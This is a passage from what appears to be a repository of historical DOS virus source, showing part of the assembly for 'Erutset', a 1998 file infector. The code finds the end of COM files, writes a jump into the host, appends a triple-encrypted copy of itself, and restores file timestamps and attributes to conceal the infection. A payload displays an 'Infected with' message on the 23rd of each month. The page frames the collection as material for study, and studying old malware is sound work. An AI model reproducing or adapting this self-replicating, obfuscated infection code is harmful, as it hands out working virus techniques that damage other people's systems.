erutset.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

        int     21h                             ; first three recorded

        mov     ax,4202h                        ; scan to end of file
        xor     cx,cx                           ; xor value of cx to 0
        cwd                                     ; likewize for dx
        int     21h                             ; DX:AX = file size now!

        cmp     dx,0                            ; is the file < 65,535 bytes?
        jne     close                           ; way to big, close it up
        mov     cx,word ptr [bp+saved+1]        ; move buffer+1 into cx
        add     cx,finished-start+3             ; virus size + jump
        cmp     ax,cx                           ; compare the two
        jz      close                           ; if equal, close it up

        sub     ax,3                            ; get jump to virus body size
        mov     word ptr [bp+newjump+1],ax      ; write as our new jump

        mov     ax,4200h                        ; point to start of file
        xor     cx,cx                           ; xor value of cx to 0
        cwd                                     ; likewize for dx
        int     21h                             ; pointing to SOF

        mov     ah,40h                          ; write to file
        mov     cx,3                            ; write three bytes
        lea     dx,[bp+newjump]                 ; write the jump
        int     21h                             ; jump is written

        mov     ax,4202h                        ; point to end of file
        xor     cx,cx                           ; xor value of cx to 0
        cwd                                     ; likewize for dx
        int     21h                             ; pointing to EOF

        lea     si,[bp+start]                   ; load the source index
        lea     di,[bp+buffer]                  ; load the destination index
        mov     cx,finished-start               ; # of bytes to put in mem
        rep     movsb                           ; load virus into memory

        lea     di,[bp+t_encd-start+buffer]     ; load the source index
        mov     si,di                           ; load the destination index
        mov     cx,t_encr-t_encd                ; # of bytes to encrypt
        call    t_encr                          ; encrypt the 1st layer

        lea     si,[bp+d_encd-start+buffer]     ; load the source index
        mov     di,si                           ; load the destination index
        mov     cx,d_encr-d_encd                ; # of bytes to encrypt
        call    d_encr                          ; encrypt the 2nd layer

        lea     di,[bp+encd-start+buffer]       ; load the destination index
        mov     si,di                           ; load the source index
        mov     cx,encr-encd                    ; # of bytes to encrypt
        call    encr                            ; encrypt the 3rd layer

        mov     ah,40h                          ; write to file
        mov     cx,finished-start               ; # of bytes to write
        lea     dx,[bp+buffer]                  ; write from mem
        int     21h                             ; write the bytes now

close:  mov     ax,5701h                        ; set time / date stamps
        pop     cx                              ; restore the time
        pop     dx                              ; restore the date
        int     21h                             ; time / date is restored

        mov     ax,4301h                        ; set file attributes
        pop     dx                              ; for this file name
        pop     cx                              ; with these attributes
        int     21h                             ; attributes are restored

        mov     ah,3eh                          ; close up the file
        int     21h                             ; file is closed

abort:  pop     bp                              ; pop original delta offset
        jmp     exit                            ; point to original ISR

; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;

        saved   db 0cdh,20h,0                   ; our saved bytes
        newjump db 0e9h,0,0                     ; the soon to be jump
        pldmsg  db '',10,13
                db '  Infected with :: Erutset :: coded by KilJaeden of the Codebreakers 1998',10,13,'$'
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;

pload:  mov     ah,2ah                          ; get system time
        int     21h                             ; get it now
        cmp     dl,23                           ; is it the 23rd?
        jne     endpld                          ; nope, end the payload
        mov     ah,09h                          ; print a string
        lea     dx,[bp+pldmsg]                  ; our message
        int     21h                             ; print our message
        mov     ah,00h                          ; wait for keypress
        int     16h                             ; make them see us
endpld: ret                                     ; return from call

; --------------------( End Of 3rd Encryption Blanket )-------------------- ;
; ------------------------------------------------------------------------- ;

t_encr: lodsb                                   ; load a byte
        xor     al,0C4h                         ;-----[1]
        ror     al,4                            ;----[2]
        not     al                              ;---[3]
        neg     al                              ;--[4]
        rol     al,4                            ;-[5]
        neg     al                              ;--[4]
        not     al                              ;---[3] 
        ror     al,4                            ;----[2]
        xor     al,0C4h                         ;-----[1]
        stosb                                   ; store a byte
        loop    t_encr                          ; do all the bytes
        ret                                     ; return from call

; --------------------( End Of 2nd Encryption Blanket )-------------------- ;
; ------------------------------------------------------------------------- ;

d_encr: lodsb                                   ; load a byte
        neg     al                              ;---------[1]
        ror     al,4                            ;--------[2]
        not     al                              ;-------[3]
        neg     al                              ;------[4]
        rol     al,4                            ;-----[5]
        not     al                              ;----[6]
        ror     al,4                            ;---[7]
        neg     al                              ;--[8]
        xor     al,069h                         ;-[9] encryption/decryption
        neg     al                              ;--[8]
        ror     al,4                            ;---[7]
        not     al                              ;----[6]
        rol     al,4                            ;-----[5]
        neg     al                              ;------[4]
        not     al                              ;-------[3]
        ror     al,4                            ;--------[2]
        neg     al                              ;---------[1]
        stosb                                   ; store the byte
        loop    d_encr                          ; do all the bytes
        ret                                     ; return from call

; --------------------( End Of 1st Encryption Blanket )-------------------- ;
; ------------------------------------------------------------------------- ;

encr:   lodsb                                   ; load a byte
        neg     al                              ;---[1]
        ror     al,4                            ;--[2]
        xor     al,0C4h                         ;-[3] encryption/decryption
        ror     al,4                            ;--[2]
        neg     al                              ;---[1]
        stosb                                   ; store the byte
        loop    encr                            ; do all the bytes
        ret                                     ; return from call

; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;

        buffer:                                 ; save our virus in mem
        finished:                               ; end of the virus

once:   lea     si,[bp+new]                     ; load the source index
        lea     di,[bp+decr]                    ; load the destination index
        movsw                                   ; move two bytes
        movsb                                   ; move one byte
        jmp     t_encd                          ; jump to encrypted area
new:    mov     cx,encr-encd                    ; this replaces the jump

        code    ends                            ; end code segment
        end     blank                           ; end / where to start

; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;